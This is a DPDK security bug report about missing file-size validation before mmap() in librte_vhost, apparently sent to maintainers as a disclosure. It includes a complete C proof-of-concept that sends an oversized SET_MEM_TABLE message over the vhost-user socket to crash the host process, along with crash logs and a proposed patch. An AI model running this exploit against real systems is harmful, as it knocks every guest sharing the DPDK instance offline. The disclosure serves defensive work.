Skip to contentSkip to conversation

vhost memory size validation before mmap

DPDK/vhost/virtio Bug 2002 [email protected] 1 participant 1 message Aug 28

lore
Share & tools
lore
#0 lore raw

https://bugs.dpdk.org/show_bug.cgi?id=2002

Bug ID: 2002
Summary: vhost memory size validation before mmap
Product: DPDK
Version: unspecified
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: Normal
Component: vhost/virtio
Assignee: [email protected]
Reporter: [email protected]
Target Milestone: ---
Group: security

Report date: 2026-04-09
Reported by: Don Salvatore Nero <[email protected]>

Dear DPDK Security Team

Security Vulnerability Report

DPDK librte_vhost — Memory Size Validation Missing Before mmap()

Executive Summary

A Denial-of-Service vulnerability was discovered in DPDK version 25.11.0 (stable) in the librte_vhost library. The function vhost_user_mmap_region() in lib/vhost/vhost_user.c calls mmap() with a size value supplied directly by an untrusted guest without validating it against the actual file size (st_size). This allows a malicious guest to cause a segmentation fault (SIGBUS/segfault) that crashes the entire DPDK host process.

Basic Information

Element Details

Discovered by: Don Salvatori Nero

Affected Version DPDK 25.11.0 (stable)

Affected File lib/vhost/vhost_user.c

Affected Functions vhost_user_mmap_region(), vhost_user_set_mem_table()

Vulnerability Class CWE-20 — Improper Input Validation

Impact Denial of Service — full crash of the DPDK host process

Attack Vector Malicious guest via vhost-user Unix socket

Discovery Methodology

The vulnerability was identified through a comprehensive source code audit of the DPDK vhost-user implementation. The analysis traced the end-to-end data flow from untrusted guest input to the critical mmap() system call, systematically examining each validation point along the path. The investigation involved reviewing message routing mechanisms, memory region parsing logic, and the absence of file size verification prior to memory mapping operations.

1. Entry Point — Message Routing

The first step was identifying how guest messages are routed in lib/vhost/vhost_user.c:

// lib/vhost/vhost_user.c:73

VHOST_MESSAGE_HANDLER(VHOST_USER_SET_MEM_TABLE, vhost_user_set_mem_table, true, true)

This line confirms that any guest connection can send VHOST_USER_SET_MEM_TABLE and it will be routed directly to vhost_user_set_mem_table().

2. First Function — vhost_user_set_mem_table()

Location: lib/vhost/vhost_user.c:1386

The function reads guest-supplied memory region data and copies it without validating memory_size:

// lib/vhost/vhost_user.c:1465-1488

for (i = 0; i < memory->nregions; i++) {

    reg = &dev->mem->regions[i];

    reg->guest_phys_addr = memory->regions[i].guest_phys_addr;

    reg->guest_user_addr = memory->regions[i].userspace_addr;

    reg->size = memory->regions[i].memory_size;      // ← guest value, no check

    reg->fd = ctx->fds[i];

    ctx->fds[i] = -1;

    mmap_offset = memory->regions[i].mmap_offset;



    if (vhost_user_mmap_region(dev, reg, mmap_offset) < 0) {

        goto free_mem_table;

    }

}

What was validated: only nregions count:

// lib/vhost/vhost_user.c:1399

if (memory->nregions > VHOST_MEMORY_MAX_NREGIONS) {

    goto close_msg_fds;

}

What was NOT validated: memory_size against the actual file size of ctx->fds[i].

3. Second Function — vhost_user_mmap_region()

Location: lib/vhost/vhost_user.c:1289

Full function analysis:

vhost_user_mmap_region(struct virtio_net *dev, struct rte_vhost_mem_region *region,

uint64_t mmap_offset)

{

    void *mmap_addr;

    uint64_t mmap_size;

    uint64_t alignment;

    int populate;

    // CHECK 1: integer overflow — CORRECT

    if (mmap_offset >= -region->size) {

        return -1;

    }

    // mmap_size comes entirely from guest

    mmap_size = region->size + mmap_offset;

    // get_blk_size reads st_blksize — NOT st_size

    alignment = get_blk_size(region->fd);

    if (alignment == (uint64_t)-1) {

        return -1;

    }

    // align size upward

    mmap_size = RTE_ALIGN_CEIL(mmap_size, alignment);

    // CHECK 2: zero overflow — CORRECT

    if (mmap_size == 0) {

        return -1;

    }

    // ← NO CHECK HERE: mmap_size vs actual file st_size

    populate = dev->async_copy ? MAP_POPULATE : 0;

    // mmap called with guest-controlled size

    mmap_addr = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE,

                     MAP_SHARED | populate, region->fd, 0);

    // only MAP_FAILED is checked — succeeds with oversized mapping

    if (mmap_addr == MAP_FAILED) {

        return -1;

    }

    region->mmap_addr = mmap_addr;

    region->mmap_size = mmap_size;

    region->host_user_addr = (uint64_t)(uintptr_t)mmap_addr + mmap_offset;

    return 0;

}

4. Third Function — get_blk_size()

Location: lib/vhost/vhost_user.c:165

get_blk_size(int fd)

{

    struct stat stat;

    int ret;

    ret = fstat(fd, &stat);

    return ret == -1 ? (uint64_t)-1 : (uint64_t)stat.st_blksize;

}

Critical finding: fstat() is called but only st_blksize (preferred I/O block size) is returned. st_size (actual file size) is never read anywhere in lib/vhost/vhost_user.c:

grep -rn "st_size" lib/vhost/vhost_user.c

# → no output

5. Confirmation — No Fix in Git History

git log --oneline -- lib/vhost/vhost_user.c | \

grep -i "mmap\|fix\|CVE\|size\|overflow" | head -10

Output:

bdd96d8ac7 vhost: fix offset while mapping log base address

47358f8f50 vhost: fix virtqueue access lock check for handlers

3bb7df6a95 vhost: fix vring addr update with vDPA

...

No commit in the entire history addresses missing st_size validation before mmap().

6. Root Cause Summary

Data flow from guest to crash:

Guest sends VHOST_USER_SET_MEM_TABLE

↓

vhost_user_set_mem_table()

    reg->size = memory->regions[i].memory_size   ← guest value, no size check

    reg->fd = ctx->fds[i]                        ← guest fd

    ↓

vhost_user_mmap_region()

mmap_size = region->size + mmap_offset ← still guest value

get_blk_size(fd) → st_blksize only ← NOT st_size

mmap(NULL, mmap_size, ..., fd, 0) ← oversized mapping succeeds

↓

Later access to address beyond real file size

↓

Linux kernel sends SIGBUS → segfault → DPDK process crashes

7. Proof of Concept

Environment Setup

· DPDK version: 25.11.0 stable

· OS: Ubuntu 22.04.5 LTS (Linux 5.15.0-122-generic x86_64)

Step 1 — Build and run DPDK testpmd

sudo ./build/app/dpdk-testpmd \

  -l 0-1 --in-memory --no-pci \

--vdev 'net_vhost0,iface=/tmp/vhost-net,client=0' -- -i

Output confirmed DPDK running and listening:

VHOST_CONFIG: (/tmp/vhost-net) vhost-user server: socket created, fd: 201

VHOST_CONFIG: (/tmp/vhost-net) binding succeeded

Step 2 — Exploit code

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define VHOST_USER_HDR_SIZE 12

#define VHOST_USER_MEMORY_MAX_NREGIONS 8

typedef enum VhostUserRequest {

VHOST_USER_NONE = 0,

VHOST_USER_GET_FEATURES = 1,

VHOST_USER_SET_FEATURES = 2,

VHOST_USER_SET_OWNER = 3,

VHOST_USER_SET_MEM_TABLE = 5,

} VhostUserRequest;

struct VhostUserMemoryRegion {

    uint64_t guest_phys_addr;

    uint64_t memory_size;

    uint64_t userspace_addr;

    uint64_t mmap_offset;

};

struct VhostUserMemory {

    uint32_t nregions;

    uint32_t padding;

    struct VhostUserMemoryRegion regions[VHOST_USER_MEMORY_MAX_NREGIONS];

};

struct VhostUserMsg {

    uint32_t request;

    uint32_t flags;

    uint32_t size;

    union {

        uint64_t u64;

        struct VhostUserMemory memory;

    } payload;

} __attribute__((packed));

static int send_vhost_message(int sockfd, struct VhostUserMsg *msg, int fd) {

    struct msghdr msgh;

    struct iovec iov;

    char control[CMSG_SPACE(sizeof(int))];



    memset(&msgh, 0, sizeof(msgh));

    iov.iov_base = msg;

    iov.iov_len = VHOST_USER_HDR_SIZE + msg->size;

    msgh.msg_iov = &iov;

    msgh.msg_iovlen = 1;



    if (fd != -1) {

        msgh.msg_control = control;

        msgh.msg_controllen = sizeof(control);

        struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msgh);

        cmsg->cmsg_len = CMSG_LEN(sizeof(int));

        cmsg->cmsg_level = SOL_SOCKET;

        cmsg->cmsg_type = SCM_RIGHTS;

        memcpy(CMSG_DATA(cmsg), &fd, sizeof(int));

    }



    if (sendmsg(sockfd, &msgh, 0) < 0) {

        perror("Failed to send vhost message");

        return -1;

    }

    return 0;

}

int main(int argc, char *argv[]) {

    if (argc < 2) {

        printf("Usage: %s \n", argv[0]);

        return -1;

    }



    int sockfd;

    struct sockaddr_un addr;

    char *socket_path = argv[1];



    // Create small trap file — real size 1MB

    const char *shm_path = "/tmp/fake_mem";

    int mem_fd = open(shm_path, O_RDWR | O_CREAT | O_TRUNC, 0666);

    ftruncate(mem_fd, 1024 * 1024);



    if ((sockfd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {

        perror("Socket error");

        return -1;

    }



    memset(&addr, 0, sizeof(addr));

    addr.sun_family = AF_UNIX;

    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);



    printf("[*] Connecting to DPDK vhost socket: %s\n", socket_path);

    if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == -1) {

        perror("Connect error");

        return -1;

    }



    struct VhostUserMsg msg;



    // Step 1: SET_OWNER

    memset(&msg, 0, sizeof(msg));

    msg.request = VHOST_USER_SET_OWNER;

    msg.size = 0;

    send_vhost_message(sockfd, &msg, -1);

    printf("[+] Sent VHOST_USER_SET_OWNER\n");



    // Step 2: Malicious SET_MEM_TABLE

    memset(&msg, 0, sizeof(msg));

    msg.request = VHOST_USER_SET_MEM_TABLE;

    msg.flags = 0x1;

    msg.payload.memory.nregions = 1;

    msg.payload.memory.regions[0].guest_phys_addr = 0x0;

    // Claim 10GB — real file is 1MB

    msg.payload.memory.regions[0].memory_size = 10ULL * 1024 * 1024 * 1024;

    msg.payload.memory.regions[0].userspace_addr = 0x4000000000ULL;

    msg.payload.memory.regions[0].mmap_offset = 0;

    msg.size = sizeof(struct VhostUserMemory);



    printf("[!] Sending malicious SET_MEM_TABLE (claimed: 10GB, actual:

1MB)\n");

    send_vhost_message(sockfd, &msg, mem_fd);

    printf("[+] Exploit sent. Waiting...\n");



    sleep(2);



    char buf[1];

    if (read(sockfd, buf, 1) == 0)

        printf("[SUCCESS] DPDK crashed!\n");

    else

        printf("[FAILURE] DPDK still running.\n");



    close(sockfd);

    close(mem_fd);

    unlink(shm_path);

    return 0;

}

Step 3 — Compile and run

gcc vhost_exploit.c -o vhost_exploit

sudo ./vhost_exploit /tmp/vhost-net

Step 4 — DPDK log confirms oversized mapping accepted

VHOST_CONFIG: (/tmp/vhost-net) read message VHOST_USER_SET_MEM_TABLE

VHOST_CONFIG: (/tmp/vhost-net) guest memory region size: 0x280000000

VHOST_CONFIG: (/tmp/vhost-net) mmap addr : 0x7ffd68000000

VHOST_CONFIG: (/tmp/vhost-net) mmap size : 0x280000000

VHOST_CONFIG: (/tmp/vhost-net) mmap align: 0x1000

VHOST_CONFIG: (/tmp/vhost-net) mmap off : 0x0

mmap_size = 0x280000000 = 10GB — accepted without error.

Step 5 — Crash confirmed

dmesg | grep -i "testpmd" | tail -n 5

[1836590.377750] dpdk-vhost-evt[1307789]: segfault at 10187cad8 ip

0000555555a44be1 sp 00007fffeeff7470 error 4 in
dpdk-testpmd[555555714000+2595000]

error 4 = page not present = access beyond real file boundary.

8. Impact

Any process that can connect to the vhost-user Unix socket — including any guest VM or container with access to it — can crash the entire DPDK host process with a single message. All other guests sharing the same DPDK instance lose network connectivity instantly.

9. Recommended Fix

In vhost_user_mmap_region(), after calling fstat(), add a check comparing mmap_size against st_size:

struct stat file_stat;

if (fstat(region->fd, &file_stat) == -1) {

    return -1;

}

if (mmap_size > (uint64_t)file_stat.st_size) {

    VHOST_CONFIG_LOG(dev->ifname, ERR,

                     "mmap size (0x%" PRIx64 ") exceeds file size (0x%" PRIx64

")",

                     mmap_size, (uint64_t)file_stat.st_size);

    return -1;

}

Signature · 2 lines
You are receiving this mail because:
You are the assignee for the bug.